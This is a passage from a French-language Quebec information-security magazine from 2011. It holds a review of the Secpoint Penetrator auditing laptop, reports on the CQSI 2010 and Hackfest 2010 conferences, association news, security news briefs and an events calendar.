des technologies de l’informa-
tion et en réseautique dans 
les environnements Windows.
Bon communicateur, il a travaillé
comme instructeur certifié
Microsoft, et donne aussi des
formations sur la sécurité 
des TI au CRIM.

COMPARAISON 
Le miniportatif Dell vient avec une carte USB sans fil et une antenne de haut

débit pour balayer efficacement les points d’accès à proximité. Pour être démarré,
le miniportable Penetrator utilise Slackware comme système d’exploitation et ne
requiert aucune configuration supplémentaire, sauf la saisie du mot de passe du
compte administrateur inclus dans la pochette de documentation papier.

OBJECTIF
En offrant cet appareil,  Secpoint veut faciliter

la vie de l’utilisateur en simplifiant le processus, sou-
vent complexe, de réalisation de tests d’intrusion et
de vulnérabilité. L’interface utilisateur est en effet
conviviale et ergonomique. Le Penetrator suggère
même des liens vers des tutoriels YouTube. Après
que tous les services sont chargés, un navigateur
Web s’ouvre et propose la console d’administration
du produit. Il ne reste qu’à faire l’audit. 

AUDIT
La préparation de l’audit est simple. Il s’agit de saisir les adresses IP ou les

systèmes DNS des serveurs à vérifier et de démarrer le contrôle. Lorsque l’audit
est complété, le Penetrator soumet deux types de rapports : le premier sans les
solutions et le second avec les solutions. 

La base de données de tests de vulnérabilité est régulièrement mise à jour
et constitue un regroupement de différentes bases de données de vulnérabilités
connues (BugTraq de SecurityFocus et CVE de Mitre). Un indicateur d’état permet

«Avec le
 miniportable
Penetrator de

Secpoint, l’essentiel
est à portée de
souris, même la

 sécurité !»

Suite en page 20
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aussi de voir l’avancement des activités d’audit et la version
de la base de données utilisée. 

Un autre avantage du Penetrator est qu’il conserve
l’historique des audits réalisés, en plus des rapports produits
en format PDF, et ce, dans le miniportatif. Ces derniers sont
composés d’un sommaire de gestion donnant un aperçu des
résultats de l’audit. Il est aussi possible de recevoir automa-
tiquement les rapports par courriel.

ATTAQUE
Plusieurs vulnérabilités sont découvertes chaque jour. Il

est donc important de vérifier si les systèmes sont toujours à
l’abri d’une attaque. C’est possible de le faire avec le Penetrator.
Cet appareil propose un outil de balayage de réseaux sans fil
qui peut être un allié précieux pour découvrir les points d’accès
étrangers branchés au réseau de l’entreprise. 

Grâce à cet appareil, il est aussi possible d’utiliser des
attaques de force brute (avec plusieurs dictionnaires diffé -
rents) sur des fichiers ZIP, sur des fichiers protégés par mot
de passe, ou encore sur certains protocoles, ou des
attaques ciblées exploitant des vulnérabilités de diverses
plateformes ou équipements de télécommunication.

Le miniportable Penetrator est un produit simple et
complet dans la spécificité des activités d’audit. Sa seule  
faiblesse: les rapports et l’interface sont en anglais, mais on
peut espérer une version française en 2011 selon la
demande. Secpoint proposera aussi des rapports de confor-
mité PCI et SOX dans les prochains mois. 

Le format de cet outil en fait le compagnon idéal du
consultant en sécurité qui doit réaliser des audits sur dif-
férents réseaux sans perdre de temps. Secpoint offre
aussi des serveurs monofonctionnels (appliances) pou-
vant rester branchés au réseau en tout temps et offrira
bientôt le Penetrator en serveurs monofonctionnels
VMware.

Pour de plus amples renseignements sur cet appareil
ou pour l’acheter, visitez le www.secpoint.com. g

« Le miniportable Penetrator de Secpoint
permet de vérifier le niveau de sécurité du

réseau sans fil de l’organisation en exploitant
des failles connues des protocoles.»

(www.secus.ca)
Osez vous annoncer!

Suite de la page 19
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CQSI 2010:
rendez-vous réussi!
PAR DIMITRI SOULELIAC, 
conseiller en sécurité technologique chez Desjardins

Dimitri Souleliac est conseiller
en sécurité technologique 
chez Desjardins. Certifié CISSP
et membre de l’Ordre des
ingénieurs du Québec, il
 possède huit ans d’expériences
riches et variées en France, 
en Suisse, aux États-Unis et 
au Canada.

Chez Desjardins, il fait partie
d’une équipe de professionnels
qui sont là pour accompagner
le changement et l’élaboration
des contre-mesures techno -
logiques.

Mars l Avril 2011 SÉCUS | 21 |

Suite en page 22 
Ph

ot
o

: D
an

ie
l L

év
es

qu
e

En 2010, le Colloque québécois de la sécurité de l’information (CQSI)
a joué habilement avec le double sens des mots réseaux, ressources
et relève. Ces termes ont d’ailleurs donné naissance à de riches
échanges et apporté de nouvelles perspectives concernant les défis
de la sécurité de l’information (SI).

Pour son dix-huitième colloque annuel, l’Association de la sécurité de l’information du
Québec (ASIQ) a une nouvelle fois démontré son excellent savoir-faire dans l’organisation de
cet événement au Fairmont Le Manoir Richelieu de la Malbaie les 18 et 19 octobre derniers. Les
275 participants (légère hausse par rapport à 2009) ont pu profiter de kiosques intéressants
et d’un parfait enchaînement de conférences et d’activités.

Le thème de cette année, « Réseaux, ressources, relève : les nouvelles règles du jeu »,
a été brillamment détaillé lors des 24 conférences et de la table ronde. Les contenus étaient
équilibrés entre des problématiques de haut niveau (utilisation de réseaux sociaux, gestion
des ressources humaines) et des approches très techniques comme celle de Michel Cusin
avec son excellente conférence « Maîtriser l’art du Kung-fu ».

INVITÉS PRESTIGIEUX
De la conférence d’ouverture à celle de clôture, l’auditoire a pu constater l’ampleur de

l’expertise internationale des invités du CQSI 2010. D’ailleurs, Michel Juneau-Katsuya, expert
mondialement réputé en renseignement, a littéralement fait voyager les participants dans le
monde de l’espionnage et du contre-espionnage en entreprise au Canada. 

D’un point de vue national, la protection des données personnelles a été rigoureusement
abordée par Chantal Bernier, commissaire à la protection de la vie privée au Canada, à travers
l’exemple des scanneurs corporels utilisés dans les aéroports.
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Il faut également souligner la présence
de Jean-Louis Roule du Club de la sécurité de
l’information français (CLUSIF). L’évolution de
la Méthode de gestion de risques (MÉHARI)
était au menu. Un échange a alors relancé la
coopé ration internationale entre le CLUSIF et
les ex perts en sécurité québécois.

DÉBATS ANIMÉS
La richesse des discussions et le croisement des idées

ont été les aspects les plus intéressants du rendez-vous. Les
propos de la table ronde organisée par SÉCUS ont suscité des
échanges qui se sont poursuivis en soirée. 

Entre la génération Y, bien représentée au kiosque du
Hackfest, et l’évocation des départs massifs à la retraite des
professionnels d’Hydro Québec, il y avait matière à dialoguer
sur les perspectives pour organiser la relève !

L’usage croissant des réseaux sociaux a été abordé
sous des angles à la fois technologiques et stratégiques. Au-
delà de la question « Faut-il autoriser les réseaux sociaux en
entreprise ? », le CQSI 2010 a permis de capter les « ressen-
tis » et les avis de tous : experts de risques, spécialistes
technologiques, réfractaires ou utilisateurs convaincus. Sur
place, on sentait la fébrilité des débats qui ont eu lieu « à
chaud » ! 

ENJEUX DE SOCIÉTÉ
Un des aspects qui a marqué l’événement a été le

développement de thématiques en lien avec les enjeux de
société. L’éclairage apporté par la Sûreté du Québec
(« Sensibilisation à la cybercriminalité ») et la conférence

«Selon la relève, les précédentes générations
ont acquis une expérience précieuse, mais
elles ne sont pas préparées aux nouvelles

 vulnérabilités des réseaux sociaux.»

«Entre les témoignages
 d’experts internationaux et les cas

vécus au Québec, le CQSI 2010 
a su transporter l’auditoire dans

toutes les dimensions des
 nouveaux enjeux de la SI.»

Comité organisateur du CQSI 2010.
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énergique de Christine Roussel (« Mise en place et évolution
des équipes ») ont resitué le débat au cœur des défis de la
société de l’information.

Lorsqu’on parle de relève, il ne faut pas négliger qu’elle
existe aussi chez les pirates informatiques. C’est à travers les
cas vécus, comme celui de l’UQAM (« Sécurité de l’informa-
tion : un cas réel d’intrusion »), que l’on comprend l’ingé nio -
sité des jeunes malveillants. Souvent, ceux-ci n’ont même
pas conscience des conséquences de leurs actes.

RÉSEAUX SOCIAUX, MICROTEXTES (TWEETS) 
ET VIDÉOCAPSULES 

En plus des traditionnelles rencontres et soirées de
réseautage, le CQSI a largement été couvert sur le Web pen-
dant les deux jours du colloque, par Twitter (#cqsi2010) par
exemple. Aux conférences, on pouvait ainsi observer
tablettes et autres portables « branchés » sur le réseau sans
fil du Fairmont Le Manoir Richelieu. Même s’ils n’ont pas pu
profiter de la piscine ou du casino, les participants virtuels
ont parfaitement été en mesure de suivre les présentations !

Il ne faut pas oublier la présence de l’équipe de 
l’« ana lyse des geeks » qui a immortalisé les « ressentis » et
les impressions de certains participants en vidéo. Tout au
long du colloque, elle a installé un véritable studio pour mener
à bien ses entrevues filmées. Toutes les vidéocapsules sont
disponibles sur la chaîne YouTube SECUSTV.

L’équipe du CQSI tient à remercier sincèrement Alex
Bédard qui, après deux ans comme responsable de l’événe-
ment, passe le flambeau à Louis Plourde. Merci également à
tout le comité organisateur qui, bénévolement, travaille très
fort au succès de cet événement. g

«Quatre-vingt-dix pour cent des informations
privées sont produites sans le consentement

des gens. Il s’agit d’une nouvelle notion
 d’émanation de  données personnelles.»
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C O N F É R E N C E

Un Hackfest
en grand!
PAR LE COMITÉ HACKFEST

Les 5 et 6 novembre derniers, pour le second
Hackfest, les organisateurs ont opté pour une
formule maximisée : un jour de plus et deux fois
plus de conférenciers, de jeux de piratage informa-
tique et de plaisir (harder, better, longer, stronger)! 

Suite en page 24 

Grâce à la croissance de l’événement, un
volet sur les entreprises a été ouvert concernant,
entre autres, la sécurité tactique. L’ajout du vendredi
a donc permis la présentation des conférences
suivantes :

■ Éric Gingras (Gardien Virtuel)
« La détection d’intrusions est-elle morte en
2003 ? »

■ Pierre Larrivée (Heenan Blaikie)
« Conservation et circulation des renseigne-
ments personnels des services de la santé et
sociaux »

■ Olivier Bilodeau
« 802.1X filaire, un monde idéal illusoire ? » 

■ Colin McKay (Commissariat à la protection de
la vie privée du Canada)
« When Cool Becomes Creepy »

■ Étienne Dubreuil (Heenan Blaikie)
« Responsabilisation des données confiden-
tielles en entreprise »

■ Danny Fullerton (Mantor)
« Broken by Design »
Le concours de piratage a ainsi été adapté

aux enjeux des organisations : simulation de ce qui
se passe en entreprise, espionnage industriel,
aspect défensif de la sécurité. L’affrontement a fait
place à deux compagnies pharmaceutiques fictives

qui ont lutté pour percer les secrets de l’autre 
par des techniques d’attaque et de défense sophis-
tiquées. Les organisateurs ont su stimuler les
esprits en réservant des surprises tout le long de la
compétition !



Mars l Avril 2011 SÉCUS | 24 |

Au cours du samedi, plusieurs conférences techniques
et variées ont pris place :

■ Charles Demers-Tremblay (Les Technologies Wolf inc.)
« Le GPU à la rescousse du CPU »

■ David Girard et Anthony Arrott (Trend Micro)
« Comment détecter des virus inconnus en utilisant
des honeypots et d’autres technologies ? »

■ Paul Rascagneres
« Stack Smashing Protector »

■ Guy Bruneau (SANS)
« Data Leakage Protection »

■ Julien Desfossez et David Goulet
« PostNet : une nouvelle ère du botnet résilient »

■ Thomas Pornin
« Mots de passe et mécanismes d’authentification »

■ Mike Kemp
« Into the Black : Explorations in DPRK »
L’événement a également permis le retour du concours

de capture du drapeau (capture the flag – CTF) plus tradition-
nel et celui de crochetage (lockpicking) animé par Éric
Parent et Sylvie Guérin (LogicNet). Le succès a été grand et
l’achalandage continu.

LE HACKFEST EN CHIFFRE
Le Hackfest, c’est plus de 300 participants, 14 con-

férenciers, 22 partenaires, 20 personnes dans 2 équipes
s’affrontant au jeu de piratage « Réalité Entreprise » et 64
personnes divisées en 16 équipes qui ont participé au CTF.
La prévente a même été arrêtée plus tôt que prévu et des
inscriptions aux jeux de piratage ont été refusées, vu
 l’immense popularité. 

LE HACKFEST CONCRET ET EN LIGNE
Le Hackfest est le plus gros événement de SI au

Québec et le deuxième plus grand rassemblement de jeux de
piratage, après le HackUS. Pour le concours de crochetage, 
20 personnes se sont qualifiées pour les prix offerts.
Pendant que les cerveaux bourdonnaient, six  excellents 
DJ et un VJ ont animé les deux soirées.

Le Hackfest 2010, c’est aussi une plus grande utilisa-
tion des médias sociaux, avec des microtextes (tweets) dif-
fusés lors de l’événement, une foule de photos en direct sur
Flickr et un dialogue avec les participants.

L’équipe du Hackfest planifie déjà le rendez-vous de
2011. Toujours plus grand ! D’autres concours, surprises 
et conférences diversifiés lui seront greffés. Au cours de
 l’année, suivez les tribulations des organisateurs au
www.hackfest.ca et sur Twitter (@hackfest_ca et 
@hackfest_live), Facebook ou LinkedIn.   g

Suite de la page 23

Devenez
auteur !
(www.secus.ca)

http://www.facebook.com/hackfest
http://twitter.com/hackfest_ca
http://www.linkedin.com/groupRegistration?gid=2007109
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Des nouvelles
de l’ASIQ
PAR ALEX BÉDARD,
membre du conseil d’administration de l’ASIQ 

A S S O C I A T I O N S

Depuis plus de 25 ans, l’ASIQ poursuit fièrement sa
mission de promouvoir la sécurité de l’information
(SI). Les membres du conseil d’administration vous
invitent à consulter les principaux éléments d’intérêt
du printemps 2011. 

CQSI PASSÉ ET À VENIR
Le comité organisateur du CQSI 2010 et les membres

du conseil d’administration de l’ASIQ vous remercient de
votre participation à l’événement d’octobre dernier. Son
 succès est le résultat de nombreux efforts de bénévoles de
l’association, mais aussi de votre présence en tant que
partenaires, participants et conférenciers. Merci à tous !

Le CQSI 2011 est déjà en route avec le thème suivant :
« CQSI, la formation qui s’impose ». Le rendez-vous aura lieu
les 17 et 18 octobre prochains et sera à la hauteur de vos
attentes et de nouveautés pertinentes. Bienvenue à tous !

PROJETS DE L’ASIQ

CLUSIQ
Le Club de la sécurité de l’information du Québec

(CLUSIQ) prend forme et l’équipe travaille fort au développe-
ment de la Méthode de gestion de risques (MÉHARI) pour les
PME. MÉHARI PME fera donc son arrivée au cours de 2011.
Surveillez aussi la section « Formation » du site de l’ASIQ et la
programmation qui viendra.

ASIQ-MÉDIAS
Le projet ASIQ-Médias prend place. Bientôt, les divers

médias pourront consulter les experts de l’ASIQ afin d’obtenir
une information juste quant à la SI sous toutes ses formes.
N’hésitez pas à proposer votre candidature à titre de spécia -
liste ou à parler d’ASIQ-Médias.

LISTE DE DIFFUSION DE L’ASIQ
Vous pouvez vous inscrire à la liste de diffusion de

l’ASIQ afin d’être informé au sujet de ses projets, de ses initia-
tives, de ses conférences, du CQSI et de diverses activités de
ses partenaires. Une participation au CQSI 2011 sera faite
parmi les gens inscrits sur la liste. Consultez le site de l’asso-
ciation pour en savoir plus.

PROCHAINES ACTIVITÉS DE L’ASIQ

■ 13 AVRIL 2011
Conférence
« La gestion des services TI avec l’ISO-IEC 20 000 en har-
monie avec les exigences de sécurité, est-ce possible ? »
DOMINICK BOUTET, ITSM

■ 11 MAI 2011, DE 8 H 30 À MIDI
Séminaire conjoint Réseau Action TI et ASIQ
« Prévention de la cybercriminalité : faut-il modifier le régime
de responsabilité des intermédiaires techniques ? »
SERGE KABLAN, Université Laval, et Arthur Oulaï,
Université de Sherbrooke

■ JUIN 2011
Assemblée générale de l’ASIQ

■ 17 ET 18 OCTOBRE 2011
Colloque québécois de la sécurité de l’information (CQSI)
Thème : « CQSI, la formation qui s’impose »
(www.cqsi.org)

Les membres de l’ASIQ qui parti -
cipent aux activités et qui remplissent le
sondage courent la chance de gagner
une tablette tactile (iPad). Le tirage aura
lieu lors de l’assemblée générale. Merci
pour votre participation et vos commentaires !

Suivez l’ASIQ grâce à son site Internet (www.asiq.org),
à sa liste de diffusion, au flux RSS, à Linkedin, à Facebook et
à Twitter ! g

http://www.facebook.com/group.php?gid=330784290208
http://www.linkedin.com/groups?gid=1934860
http://twitter.com/ASIQCQSI
http://www.asiq.org/
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L’AQIII : le réseau des
travailleurs autonomes en TIC
PAR CHERRYL BYRNS, AQIII

UNE MISSION D’EXCEPTION
La mission de l’AQIII est de réunir le maximum de tra-

vailleurs autonomes d’expérience en TIC afin qu’ils bénéfi-
cient des avantages d’un réseau solide tout en préservant la
liberté du travail indépendant. L’indépendance dans l’inter-
dépendance!

ACTIONS !
Les actions de l’AQIII s’articulent autour de cinq principaux
axes :
■ favoriser l’obtention de mandats en TIC;
■ faciliter le partage d’informations entre les membres

(réseautage);
■ faire bénéficier les membres de rabais chez des four-

nisseurs ciblés;
■ protéger le statut du travailleur autonome en TIC;
■ informer et conseiller les membres sur le travail

autonome en TIC.
Grâce au service d’affichage d’offres de contrats, l’AQIII

est devenue incontournable au fil des ans pour les entre -
prises à la recherche de professionnels en TIC. De plus, sa

En 1993, l’Association québécoise des informaticiennes et informaticiens indé pendants
(AQIII) a été créée en tant que regroupement à but non lucratif. Aujour d’hui, en pleine crois-
sance, elle rassemble plus de 1 200 travailleurs autonomes des technologies de l’informa-
tion et des communications (TIC). 

L’AQIII SOUTIENT LES TRAVAILLEURS AUTONOMES 
AVEC SUCCÈS ! 

En 1990, l’idée de créer une association de travailleurs
autonomes en TIC naît de la rencontre des fondateurs. Ces
derniers s’étaient connus chez un client commun et cher-

chaient un moyen de se rassem-
bler, de s’entraider et d’être mieux
protégés et informés concernant
leur champ d’activité. 

Ainsi, le projet du regroupe-
ment a mûri. Puis, une dizaine de
personnes à leur compte dans le
domaine de l’informatique ont

confirmé la pertinence des objectifs de l’AQIII. Il y a dix-huit
ans, Francis Mignault, Yves Leblanc et Michel St-Amour
créaient donc l’AQIII. 

Depuis, le nombre de membres de l’organisation n’a
cessé de croître. L’association regroupe des professionnels
expérimentés. Elle compte une section à Montréal et une
autre à Québec. Cette dernière fêtait d’ailleurs, le 24 février
dernier, son cinquième anniversaire.

A S S O C I A T I O N S

«L’AQIII est la seule
 association au Québec

entièrement dédiée aux
 travailleurs autonomes 

du milieu des TIC.»

Suite en page 27

http://www.aqiii.org/
http://www.aqiii.org/
http://www.aqiii.org/
http://www.aqiii.org/mandats
http://www.aqiii.org/membres
http://www.aqiii.org/disponibilite
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mise à jour mensuelle des membres disponibles est très
populaire auprès des donneurs d’ouvrage.

L’AQIII est aussi très active pour favoriser le statut fiscal
des travailleurs autonomes en TIC. Elle a d’ailleurs créé des
outils uniques, entre autres un contrat type pour les relations
contractuelles directes et avec un intermédiaire, un guide des
meilleures pratiques fiscales, des chroniques juridiques, etc.

L’information et la veille du marché sont également
très importantes pour l’AQIII. Une multitude de renseigne-
ments sur le travail autonome en TIC, les tendances du
marché et des documents importants sont aussi fournis aux
membres via le site de l’association, ses cyberbulletins, ses
communiqués et ses courriels.

Si vous êtes indépendant et fier de l’être, joignez-vous
à l’AQIII (www.aqiii.org) ! g

LA DESTRUCTION DE FICHIERS SUR LES DISQUES SSD PROBLÉMATIQUE
« Selon une étude réalisée par des ingénieurs du Département informatique et
ingé nierie de l’université de Californie, les logiciels disponibles aujourd’hui pour
effacer les données sur des disques durs magnétiques ne sont pas assez fiables
pour être utili sés sur des disques durs solid state drives (SSD). »
■  Extrait de LeMondeInformatique.fr

SÉCURITÉ : EN 2011, LE MARCHÉ RETROUVERA SON NIVEAU D’AVANT LA CRISE
« Les prévisions d’IDC sur ce marché anticipent une croissance plus soutenue des
logiciels par rapport aux solutions matérielles. Les premiers devraient représenter
“plus de 26 % du marché en 2014”, lorsque le marché global atteindra 9,5 milliards
de dollars de revenus. »
■  Extrait de Distributique.com

UTILISER LE CLOUD EST STUPIDE !
« Pour Stallman, cela ressemble à un plan “pour pousser les gens dans la négli-
gence de leurs données” en les forçant à stocker leurs données dans les Nuages
plutôt que dans des machines directement sous leur contrôle. »
■  Extrait de Zataz.com

VOS PSEUDONYMES VOUS TRAHISSENT
« Une récente étude française montre comment nos mauvaises habitudes, quant
aux pseudonymes que nous utilisons sur Internet, peuvent se retourner contre
nous. Le manque de variété dans le choix de ceux-ci ouvrirait des failles dans
lesquelles nous pourrions tomber. »
■  Extrait de Synchro-blogue.com

Nouvelles en bref
Voici quelques extraits d’articles de sécurité publiés sur Internet en mars 2011 :

Pour lire ces articles au complet ou pour trouver les dernières nouvelles de sécurité, 
consultez l’agrégateur automatisé de nouvelles de sécurité informatique SecurNews.com.

EN CHIFFRES
VALEURS EN DOLLARS US DES 
ENTREPRISES EN TECHNOLOGIES :
■ Apple 331 milliards
■ Microsoft 220 milliards
■ IBM 199 milliards
■ Google 196 milliards
■ Oracle 167 milliards
■ Intel 120 milliards
■ Cisco Systems 102 milliards
■ HP 94 milliards
■ Amazon 78 milliards
■ Facebook 65 milliards
■ Nintendo 40 milliards
■ Sony 36 milliards
■ Nokia 32 milliards
■ Dell 30 milliards
■ Yahoo! 22 milliards
■ Adobe 18 milliards
■ NVIDIA 12 milliards
■ AMD 6 milliards

■  Source : pcinpact.com

«Le réseautage entre les 
membres est au cœur des buts de l’AQIII. 
À preuve, elle organise quelque cinquante

événements pertinents annuellement : 
cinq-à-sept  mensuels, tournois de golf,
soupers- conférences, petits-déjeuners 

“table ronde”, cocktails des fêtes 
et colloque annuel. »

Suite de la page 26

www.securnews.com
www.securnews.com
http://www.synchro-blogue.com/
http://www.zataz.com/
http://www.distributique.com/
http://www.lemondeinformatique.fr/
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Calendrier
des événements
M A R S  2 0 1 1
■ Kéréon

« ISO 27005 RISK MANAGER et MÉHARI » 
Québec, du 21 au 25 mars, tous les jours, de 9 à 17 h
www.kereon.com

■ ISACA-Québec 
« Éthique et réseaux sociaux »
Québec (Hôtel Québec), le 23 mars 2011, de 7 h 30 à 11 h 30
www.isaca-quebec.ca

■ Hackfest
« HackerSpace : vie pas si privée »
Québec (Université Laval), le 24 mars, 18 h
www.hackfest.ca/

■ Colloque – RSI 2011
« Compétition Syn/Hack » 
Montréal (Centre Mont-Royal), le 28 mars 2011
www.asimm.org
« Le visage caché de la sécurité »
Montréal (Centre Mont-Royal), les 28 et 29 mars 2011
www.colloque-rsi.com/

■ GP-Québec
« Introduction à la gestion de projet »

Québec (875, Grande Allée), le 30 mars 2011, de 8 h 30 à 11 h 30, 
par Clément Beaumont
« Estimation des projets informatiques »
Québec (875, Grande Allée), le 30 mars 2011, de 13 h 30 à 16 h 30, 
par Radenko Corovic
www.gp-quebec.net

■ AQIII
Formation — « Développement piloté par les tests (TDD) 
sous l’environnement .NET »
Québec (2410, chemin Sainte-Foy), du 31 mars au 1er avril 2011, 
par Louis-Philippe Carignan
www.aqiii.org

M A R S
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A V R I L  2 0 1 1
■ HACKUS 

Sherbrooke (Université de Sherbrooke), du 1er au 3 avril 2011
www.hackus.org/

■ FRANCOPOL – atelier
« La négociation en situation de crise »
Ottawa (Collège canadien de police), du 4 au 8 avril 2011
www.francopol.org

■ AQIII
« Boule de cristal du CRIM 2011 »
Montréal (palais des congrès), du 6 au 7 avril 2011
www.aqiii.org

■ GP-QUÉBEC
« Mise en place de bureaux de projet »
Montréal (360, rue McGill), le 12 avril 2011, de 13 h 30 à 16 h 30, par Nicole Parizeau
« Aspects stratégiques de la GP » (pour dirigeants) 
Québec (875, Grande Allée), le 13 avril 2011, de 8 h 30 à 11 h 30, par Benoit Lalonde
« Mise en place de bureaux de projet »
Québec (875, Grande Allée), le 13 avril 2011, de 13 h 30 à 16h 30, par Nicole Parizeau
www.gp-quebec.net

■ ASIQ
« La gestion des services TI avec l’ISO IEC 20000 en harmonie 
avec les exigences de sécurité, est-ce possible ? »
Québec (Musée national des beaux-arts du Québec), le 13 avril 2011, de 7 h 30 à 8 h 30,
par Dominique Boutet
www.asiq.org

■ Formation
« Techniques de recherche, d’investigation et de camouflage sur Internet »
Québec (AFI), le 18 avril 2011, par Michel Cusin
www.cusin.ca

■ ASIMM – 5 à 7 technique
« La sécurité des plateformes mobiles avec MS-ActiveSynch »
Montréal (500, rue McGill), le 19 avril 2011, à 17 h
www.asimm.org

■ AQIII
Salon des carrières en technologie 2011
Montréal (201, avenue Viger Ouest), les 19 et 20 avril 2011
www.aqiii.org
Colloque en gestion de projet PMI et UQAR
Lévis (Centre de congrès et d’expositions de Lévis), le 20 avril 2011
www.aqiii.org

■ ISACA- Québec
Formation Val IT™
21 avril 2011
www.isaca-quebec.ca

■ AQIII
Les rendez-vous d’affaires de l’AQIII 2011
27 avril 2011
www.aqiii.org
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